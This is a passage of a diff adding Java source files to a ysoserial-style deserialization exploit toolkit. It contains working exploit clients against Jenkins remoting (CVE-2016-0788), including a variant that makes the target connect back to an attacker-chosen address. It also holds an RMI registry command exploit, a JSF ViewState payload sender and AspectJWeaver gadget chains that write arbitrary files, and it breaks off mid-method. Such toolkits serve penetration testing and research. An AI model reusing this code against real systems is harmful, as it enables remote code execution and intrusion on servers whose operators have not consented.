String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
|
||||||
|
os.write(requestBody.getBytes("US-ASCII"));
|
||||||
|
os.close();
|
||||||
|
|
||||||
|
System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,120 @@
|
|||||||
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||||
|
import com.qi4l.JYso.controllers.ysoserial;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import hudson.remoting.Callable;
|
||||||
|
import hudson.remoting.Channel;
|
||||||
|
import hudson.remoting.Channel.Mode;
|
||||||
|
import hudson.remoting.ChannelBuilder;
|
||||||
|
|
||||||
|
import javax.net.SocketFactory;
|
||||||
|
import java.io.DataOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.net.*;
|
||||||
|
import java.util.concurrent.ExecutorService;
|
||||||
|
import java.util.concurrent.Executors;
|
||||||
|
import java.util.concurrent.ThreadFactory;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Jenkins CLI client
|
||||||
|
* <p>
|
||||||
|
* Jenkins unfortunately is still using a custom serialization based
|
||||||
|
* protocol for remote communications only protected by a blacklisting
|
||||||
|
* application level filter.
|
||||||
|
* <p>
|
||||||
|
* This is a generic client delivering a gadget chain payload via that protocol.
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
public class JenkinsCLI {
|
||||||
|
|
||||||
|
public static final void main(final String[] args) throws Exception {
|
||||||
|
if (args.length < 5) {
|
||||||
|
System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <args...>");
|
||||||
|
System.exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
String jenkinsUrl = args[0];
|
||||||
|
// 去除前一个参数
|
||||||
|
String[] newArray = new String[args.length - 1];
|
||||||
|
System.arraycopy(args, 1, newArray, 0, newArray.length);
|
||||||
|
|
||||||
|
ysoserial(newArray);
|
||||||
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
|
Channel c = null;
|
||||||
|
try {
|
||||||
|
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||||
|
c = JenkinsCLI.openChannel(isa);
|
||||||
|
c.call(getPropertyCallable(payloadObject));
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} finally {
|
||||||
|
if (c != null) {
|
||||||
|
try {
|
||||||
|
c.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Callable<?, ?> getPropertyCallable(final Object prop)
|
||||||
|
throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
|
||||||
|
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||||
|
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||||
|
Reflections.setAccessible(reqCons);
|
||||||
|
Object getJarLoader = reqCons
|
||||||
|
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
|
||||||
|
prop
|
||||||
|
});
|
||||||
|
return (Callable<?, ?>) getJarLoader;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static InetSocketAddress getCliPort(String jenkinsUrl) throws MalformedURLException, IOException {
|
||||||
|
URL u = new URL(jenkinsUrl);
|
||||||
|
|
||||||
|
URLConnection conn = u.openConnection();
|
||||||
|
if (!(conn instanceof HttpURLConnection)) {
|
||||||
|
System.err.println("Not a HTTP URL");
|
||||||
|
throw new MalformedURLException();
|
||||||
|
}
|
||||||
|
|
||||||
|
HttpURLConnection hc = (HttpURLConnection) conn;
|
||||||
|
if (hc.getResponseCode() >= 400) {
|
||||||
|
System.err.println("* Error connection to jenkins HTTP " + u);
|
||||||
|
}
|
||||||
|
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
|
||||||
|
|
||||||
|
return new InetSocketAddress(u.getHost(), clip);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Channel openChannel(InetSocketAddress isa) throws IOException, SocketException {
|
||||||
|
System.err.println("* Opening socket " + isa);
|
||||||
|
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||||
|
s.setKeepAlive(true);
|
||||||
|
s.setTcpNoDelay(true);
|
||||||
|
|
||||||
|
System.err.println("* Opening channel");
|
||||||
|
OutputStream outputStream = s.getOutputStream();
|
||||||
|
DataOutputStream dos = new DataOutputStream(outputStream);
|
||||||
|
dos.writeUTF("Protocol:CLI-connect");
|
||||||
|
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
|
||||||
|
|
||||||
|
public Thread newThread(Runnable r) {
|
||||||
|
Thread t = new Thread(r, "Channel");
|
||||||
|
t.setDaemon(true);
|
||||||
|
return t;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
|
||||||
|
System.err.println("* Channel open");
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,199 @@
|
|||||||
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||||
|
import com.qi4l.JYso.controllers.ysoserial;
|
||||||
|
import com.qi4l.JYso.gadgets.JRMPListener;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import hudson.remoting.Callable;
|
||||||
|
import hudson.remoting.Channel;
|
||||||
|
import hudson.remoting.JarLoader;
|
||||||
|
import sun.rmi.server.Util;
|
||||||
|
import sun.rmi.transport.TransportConstants;
|
||||||
|
|
||||||
|
import javax.net.SocketFactory;
|
||||||
|
import java.io.DataOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.lang.reflect.*;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.net.Socket;
|
||||||
|
import java.rmi.activation.ActivationDesc;
|
||||||
|
import java.rmi.activation.ActivationID;
|
||||||
|
import java.rmi.activation.ActivationInstantiator;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* CVE-2016-0788 exploit (1)
|
||||||
|
* <p>
|
||||||
|
* 1. delivers a org.su18.ysuserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
|
||||||
|
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
|
||||||
|
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
|
||||||
|
* <p>
|
||||||
|
* Extra twist:
|
||||||
|
* The well-known objects exported by the listener use the system classloader which usually
|
||||||
|
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
|
||||||
|
* (which is using jenkins' classloader) that typically is properly randomized.
|
||||||
|
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
|
||||||
|
* that identifier via an exception.
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
@SuppressWarnings({
|
||||||
|
"rawtypes", "restriction"
|
||||||
|
})
|
||||||
|
public class JenkinsListener {
|
||||||
|
|
||||||
|
public static final void main(final String[] args) {
|
||||||
|
|
||||||
|
if (args.length < 5) {
|
||||||
|
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
|
||||||
|
System.exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
String jenkinsUrl = args[0];
|
||||||
|
int jrmpPort = 12345;
|
||||||
|
|
||||||
|
Channel c = null;
|
||||||
|
try {
|
||||||
|
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||||
|
c = JenkinsCLI.openChannel(isa);
|
||||||
|
|
||||||
|
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
|
||||||
|
InvocationHandler remote = Proxy.getInvocationHandler(call);
|
||||||
|
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
|
||||||
|
|
||||||
|
System.err.println("* JarLoader oid is " + oid);
|
||||||
|
|
||||||
|
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
|
||||||
|
|
||||||
|
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
|
||||||
|
|
||||||
|
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
|
||||||
|
|
||||||
|
try {
|
||||||
|
c.call((Callable<?, ?>) o);
|
||||||
|
} catch (Exception e) {
|
||||||
|
// [ActivationGroupImpl[UnicastServerRef [liveRef:
|
||||||
|
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
|
||||||
|
// -9046794842107247609]]
|
||||||
|
|
||||||
|
System.err.println(e.getMessage());
|
||||||
|
|
||||||
|
parseObjIdAndExploit(args, jrmpPort, isa, e);
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} finally {
|
||||||
|
if (c != null) {
|
||||||
|
try {
|
||||||
|
c.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
|
||||||
|
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
|
||||||
|
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
|
||||||
|
Reflections.setAccessible(reqCons);
|
||||||
|
return reqCons
|
||||||
|
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
|
||||||
|
uro,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException {
|
||||||
|
String msg = e.getMessage();
|
||||||
|
int start = msg.indexOf("objID:[");
|
||||||
|
if (start < 0) {
|
||||||
|
throw new Exception("Failed to get object id");
|
||||||
|
}
|
||||||
|
|
||||||
|
int sep = msg.indexOf(", ", start + 1);
|
||||||
|
|
||||||
|
if (sep < 0) {
|
||||||
|
throw new Exception("Failed to get object id, separator");
|
||||||
|
}
|
||||||
|
|
||||||
|
int end = msg.indexOf("]", sep + 1);
|
||||||
|
|
||||||
|
if (end < 0) {
|
||||||
|
throw new Exception("Failed to get object id, separator");
|
||||||
|
}
|
||||||
|
|
||||||
|
String uid = msg.substring(start + 7, sep);
|
||||||
|
String objNum = msg.substring(sep + 2, end);
|
||||||
|
|
||||||
|
System.err.println("* UID is " + uid);
|
||||||
|
System.err.println("* ObjNum is " + objNum);
|
||||||
|
|
||||||
|
String[] parts = uid.split(":");
|
||||||
|
|
||||||
|
long obj = Long.parseLong(objNum);
|
||||||
|
int o1 = Integer.parseInt(parts[0], 16);
|
||||||
|
long o2 = Long.parseLong(parts[1], 16);
|
||||||
|
short o3 = Short.parseShort(parts[2], 16);
|
||||||
|
|
||||||
|
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
|
||||||
|
throws IOException {
|
||||||
|
Socket s = null;
|
||||||
|
DataOutputStream dos = null;
|
||||||
|
try {
|
||||||
|
System.err.println("* Opening JRMP socket " + isa);
|
||||||
|
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
|
||||||
|
s.setKeepAlive(true);
|
||||||
|
s.setTcpNoDelay(true);
|
||||||
|
|
||||||
|
OutputStream os = s.getOutputStream();
|
||||||
|
dos = new DataOutputStream(os);
|
||||||
|
|
||||||
|
dos.writeInt(TransportConstants.Magic);
|
||||||
|
dos.writeShort(TransportConstants.Version);
|
||||||
|
dos.writeByte(TransportConstants.SingleOpProtocol);
|
||||||
|
|
||||||
|
dos.write(TransportConstants.Call);
|
||||||
|
|
||||||
|
@SuppressWarnings("resource") final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
|
||||||
|
|
||||||
|
objOut.writeLong(obj);
|
||||||
|
objOut.writeInt(o1);
|
||||||
|
objOut.writeLong(o2);
|
||||||
|
objOut.writeShort(o3);
|
||||||
|
|
||||||
|
objOut.writeInt(-1);
|
||||||
|
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
|
||||||
|
|
||||||
|
// 去除前两个参数
|
||||||
|
String[] newArray = new String[args.length - 2];
|
||||||
|
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||||
|
|
||||||
|
ysoserial(newArray);
|
||||||
|
Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
|
||||||
|
objOut.writeObject(payloadObject);
|
||||||
|
os.flush();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
} finally {
|
||||||
|
if (dos != null) {
|
||||||
|
dos.close();
|
||||||
|
}
|
||||||
|
if (s != null) {
|
||||||
|
s.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
|
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||||
|
import com.qi4l.JYso.controllers.ysoserial;
|
||||||
|
import com.qi4l.JYso.gadgets.JRMPClient;
|
||||||
|
import hudson.remoting.Channel;
|
||||||
|
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.rmi.registry.Registry;
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* CVE-2016-0788 exploit (2)
|
||||||
|
* <p>
|
||||||
|
* - Sets up a local {@link JRMPListener}
|
||||||
|
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
|
||||||
|
* that will cause the remote to open a JRMP connection to our listener
|
||||||
|
* - upon connection the specified payload will be delivered to the remote
|
||||||
|
* (that will deserialize using a default ObjectInputStream)
|
||||||
|
*
|
||||||
|
* @author mbechler
|
||||||
|
*/
|
||||||
|
public class JenkinsReverse {
|
||||||
|
|
||||||
|
public static final void main(final String[] args) throws Exception {
|
||||||
|
if (args.length < 4) {
|
||||||
|
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
|
||||||
|
System.exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 去除前两个参数
|
||||||
|
String[] newArray = new String[args.length - 2];
|
||||||
|
System.arraycopy(args, 2, newArray, 0, newArray.length);
|
||||||
|
|
||||||
|
ysoserial(newArray);
|
||||||
|
final Object payloadObject = ysoserial.PAYLOAD;
|
||||||
|
String myAddr = args[1];
|
||||||
|
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
|
||||||
|
String jenkinsUrl = args[0];
|
||||||
|
|
||||||
|
Thread t = null;
|
||||||
|
Channel c = null;
|
||||||
|
try {
|
||||||
|
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
|
||||||
|
c = JenkinsCLI.openChannel(isa);
|
||||||
|
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
|
||||||
|
t = new Thread(listener, "ReverseDGC");
|
||||||
|
t.setDaemon(true);
|
||||||
|
t.start();
|
||||||
|
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
|
||||||
|
c.call(JenkinsCLI.getPropertyCallable(payload));
|
||||||
|
listener.waitFor(1000);
|
||||||
|
listener.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
} finally {
|
||||||
|
if (c != null) {
|
||||||
|
try {
|
||||||
|
c.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (t != null) {
|
||||||
|
t.interrupt();
|
||||||
|
try {
|
||||||
|
t.join();
|
||||||
|
} catch (InterruptedException e) {
|
||||||
|
e.printStackTrace(System.err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,118 @@
|
|||||||
|
package com.qi4l.JYso.exploit;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import com.sun.security.auth.UnixPrincipal;
|
||||||
|
import sun.rmi.transport.StreamRemoteCall;
|
||||||
|
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||||
|
|
||||||
|
import javax.management.remote.rmi.RMIConnection;
|
||||||
|
import javax.security.auth.Subject;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.ObjectInput;
|
||||||
|
import java.io.ObjectOutput;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.rmi.*;
|
||||||
|
import java.rmi.registry.LocateRegistry;
|
||||||
|
import java.rmi.registry.Registry;
|
||||||
|
import java.rmi.server.Operation;
|
||||||
|
import java.rmi.server.RemoteObject;
|
||||||
|
import java.rmi.server.RemoteRef;
|
||||||
|
import java.util.*;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author su18
|
||||||
|
*/
|
||||||
|
public class RMIBindExploit {
|
||||||
|
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
|
||||||
|
if (args.length < 4) {
|
||||||
|
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
|
||||||
|
System.exit(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
String host = args[0];
|
||||||
|
int registryPort = Integer.parseInt(args[1]);
|
||||||
|
String command = args[2];
|
||||||
|
String serviceName = args[3];
|
||||||
|
|
||||||
|
Registry registry = LocateRegistry.getRegistry(host, registryPort);
|
||||||
|
System.out.println(Arrays.toString(registry.list()));
|
||||||
|
|
||||||
|
Subject subject = new Subject();
|
||||||
|
|
||||||
|
Set set = new HashSet();
|
||||||
|
set.add(new UnixPrincipal(command));
|
||||||
|
Reflections.setFieldValue(subject, "principals", set);
|
||||||
|
|
||||||
|
|
||||||
|
RMIClient r = new RMIClient();
|
||||||
|
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
|
||||||
|
r.ip = host;
|
||||||
|
|
||||||
|
|
||||||
|
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
|
||||||
|
}
|
||||||
|
|
||||||
|
static class RMIClient extends RemoteObject {
|
||||||
|
|
||||||
|
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
|
||||||
|
|
||||||
|
private RemoteRef ref = null;
|
||||||
|
|
||||||
|
private String ip = null;
|
||||||
|
|
||||||
|
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
|
||||||
|
try {
|
||||||
|
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
|
||||||
|
|
||||||
|
try {
|
||||||
|
ObjectOutput var3 = var2.getOutputStream();
|
||||||
|
var3.writeObject(var1);
|
||||||
|
} catch (IOException var15) {
|
||||||
|
throw new MarshalException("error marshalling arguments", var15);
|
||||||
|
}
|
||||||
|
|
||||||
|
this.ref.invoke(var2);
|
||||||
|
|
||||||
|
Remote var20;
|
||||||
|
try {
|
||||||
|
ObjectInput var4 = var2.getInputStream();
|
||||||
|
var20 = (Remote) var4.readObject();
|
||||||
|
|
||||||
|
Field f = var2.getClass().getDeclaredField("in");
|
||||||
|
f.setAccessible(true);
|
||||||
|
Object conn = f.get(var2);
|
||||||
|
|
||||||
|
f = conn.getClass().getDeclaredField("incomingRefTable");
|
||||||
|
f.setAccessible(true);
|
||||||
|
|
||||||
|
HashMap rets = (HashMap) f.get(conn);
|
||||||
|
|
||||||
|
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
|
||||||
|
|
||||||
|
f = entry.getKey().getClass().getDeclaredField("host");
|
||||||
|
f.setAccessible(true);
|
||||||
|
f.set(entry.getKey(), this.ip);
|
||||||
|
} catch (Exception var13) {
|
||||||
|
// var2.discardPendingRefs();
|
||||||
|
throw new UnmarshalException("error unmarshalling return", var13);
|
||||||
|
} finally {
|
||||||
|
this.ref.done(var2);
|
||||||
|
}
|
||||||
|
|
||||||
|
return var20;
|
||||||
|
} catch (RuntimeException var16) {
|
||||||
|
throw var16;
|
||||||
|
} catch (RemoteException var17) {
|
||||||
|
throw var17;
|
||||||
|
} catch (NotBoundException var18) {
|
||||||
|
throw var18;
|
||||||
|
} catch (Exception var19) {
|
||||||
|
throw new UnexpectedException("undeclared checked exception", var19);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantTransformer;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import java.io.Serializable;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Gadget chain:
|
||||||
|
* HashSet.readObject()
|
||||||
|
* HashMap.put()
|
||||||
|
* HashMap.hash()
|
||||||
|
* TiedMapEntry.hashCode()
|
||||||
|
* TiedMapEntry.getValue()
|
||||||
|
* LazyMap.get()
|
||||||
|
* SimpleCache$StorableCachingMap.put()
|
||||||
|
* SimpleCache$StorableCachingMap.writeToPath()
|
||||||
|
* FileOutputStream.write()
|
||||||
|
* <p>
|
||||||
|
* Usage:
|
||||||
|
* args = "<filename>;<base64 content>"
|
||||||
|
* Example:
|
||||||
|
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
|
||||||
|
* <p>
|
||||||
|
* More information:
|
||||||
|
* https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||||
|
@Authors({Authors.JANG})
|
||||||
|
|
||||||
|
public class AspectJWeaver implements ObjectPayload<Serializable> {
|
||||||
|
|
||||||
|
public Serializable getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
int sep = command.lastIndexOf(':');
|
||||||
|
if (sep < 0) {
|
||||||
|
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
|
||||||
|
}
|
||||||
|
String[] parts = command.split(":");
|
||||||
|
String filename = parts[0];
|
||||||
|
byte[] content = Base64.decodeBase64(parts[1]);
|
||||||
|
|
||||||
|
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||||
|
Object simpleCache = ctor.newInstance(".", 12);
|
||||||
|
Transformer ct = new ConstantTransformer(content);
|
||||||
|
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
|
||||||
|
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||||
|
HashSet map = new HashSet(1);
|
||||||
|
map.add("QI4L");
|
||||||
|
Field f = null;
|
||||||
|
try {
|
||||||
|
f = HashSet.class.getDeclaredField("map");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
f = HashSet.class.getDeclaredField("backingMap");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(f);
|
||||||
|
HashMap innimpl = (HashMap) f.get(map);
|
||||||
|
|
||||||
|
Field f2;
|
||||||
|
try {
|
||||||
|
f2 = HashMap.class.getDeclaredField("table");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
f2 = HashMap.class.getDeclaredField("elementData");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(f2);
|
||||||
|
Object[] array = (Object[]) f2.get(innimpl);
|
||||||
|
|
||||||
|
Object node = array[0];
|
||||||
|
if (node == null) {
|
||||||
|
node = array[1];
|
||||||
|
}
|
||||||
|
|
||||||
|
Field keyField;
|
||||||
|
try {
|
||||||
|
keyField = node.getClass().getDeclaredField("key");
|
||||||
|
} catch (Exception e) {
|
||||||
|
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(keyField);
|
||||||
|
keyField.set(node, entry);
|
||||||
|
|
||||||
|
return map;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
import org.apache.commons.collections.Factory;
|
||||||
|
import org.apache.commons.collections.Transformer;
|
||||||
|
import org.apache.commons.collections.functors.ConstantFactory;
|
||||||
|
import org.apache.commons.collections.functors.FactoryTransformer;
|
||||||
|
import org.apache.commons.collections.keyvalue.TiedMapEntry;
|
||||||
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import java.io.Serializable;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
|
||||||
|
*/
|
||||||
|
|
||||||
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
|
||||||
|
@Authors({Authors.QI4L})
|
||||||
|
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Serializable getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
int sep = command.lastIndexOf(';');
|
||||||
|
if (sep < 0) {
|
||||||
|
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
|
||||||
|
}
|
||||||
|
String[] parts = command.split(";");
|
||||||
|
String filename = parts[0];
|
||||||
|
byte[] content = Base64.decodeBase64(parts[1]);
|
||||||
|
|
||||||
|
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
|
||||||
|
Object simpleCache = ctor.newInstance(".", 12);
|
||||||
|
|
||||||
|
Factory ft = new ConstantFactory(content);
|
||||||
|
Transformer ct = new FactoryTransformer(ft);
|
||||||
|
|
||||||
|
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
|
||||||
|
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
|
||||||
|
HashSet map = new HashSet(1);
|
||||||
|
map.add("QI4L");
|
||||||
|
Field f = null;
|
||||||
|
try {
|
||||||
|
f = HashSet.class.getDeclaredField("map");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
f = HashSet.class.getDeclaredField("backingMap");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(f);
|
||||||
|
HashMap innimpl = (HashMap) f.get(map);
|
||||||
|
|
||||||
|
Field f2 = null;
|
||||||
|
try {
|
||||||
|
f2 = HashMap.class.getDeclaredField("table");
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
f2 = HashMap.class.getDeclaredField("elementData");
|
||||||
|
}
|
||||||
|
|
||||||
|
Reflections.setAccessible(f2);
